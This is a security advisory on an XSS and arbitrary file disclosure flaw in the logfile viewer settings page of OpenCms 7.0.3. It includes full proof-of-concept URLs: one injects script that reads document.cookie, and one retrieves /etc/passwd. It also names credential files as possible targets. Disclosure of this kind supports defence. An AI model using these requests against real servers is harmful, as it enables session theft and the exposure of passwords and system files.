SecurityReason - Alkacon OpenCms logfileViewSettings.jsp XSS, file disclosure

Advisory Text :

Alkacon OpenCms logfileViewSettings.jsp XSS, file disclosure

Product: Alkacon OpenCms

http://www.opencms.org/

OpenCms contains a vulnerability in the Logfile Viewer Settings function.
Input to Parameter filePath.0 in page
opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings
.jsp is not sufficiently validated and/or sanitized. This can be exploited
as a cross-site scripting issue but also as a file access issue, which
allows a disclosure of arbitrary files that are readable in the OS security
context of the JSP container process. The resulting page even has a
"Download" button, which facilitates retrieving binary files. Possible
targeted files could be /etc/passwd, /proc pseudo-files, Java keystore,
OpenCms configuration file (with database password), etc.

Only OpenCms users in administrator roles have access to the vulnerable
URL, which partially reduces the severity of the file disclosure aspect.

Example 1 (XSS):

http://(target)/opencms/system/workplace/admin/workplace/logfileview/log
fileViewSettings.jsp?

isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=t
rue

&ok=Ok&action=save

&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%2
52Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview

&elementname=undefined&page=page1&style=new

&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings

&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0
=UTF-8

&filePath.0=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fs
cript%3E

Example 2 (retrieving /etc/passwd):

http://(target)/opencms/system/workplace/admin/workplace/logfileview/log
fileViewSettings.jsp?

isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=t
rue

&ok=Ok&action=save

&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%2
52Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview

&elementname=undefined&page=page1&style=new

&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings

&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0
=UTF-8

&filePath.0=%2Fetc%2Fpasswd

The vulnerability has been identified in version 7.0.3. However, other
versions may be also affected.

Solution:

Users should not browse untrusted sites while logged into OpenCms.

Found by:

nnposter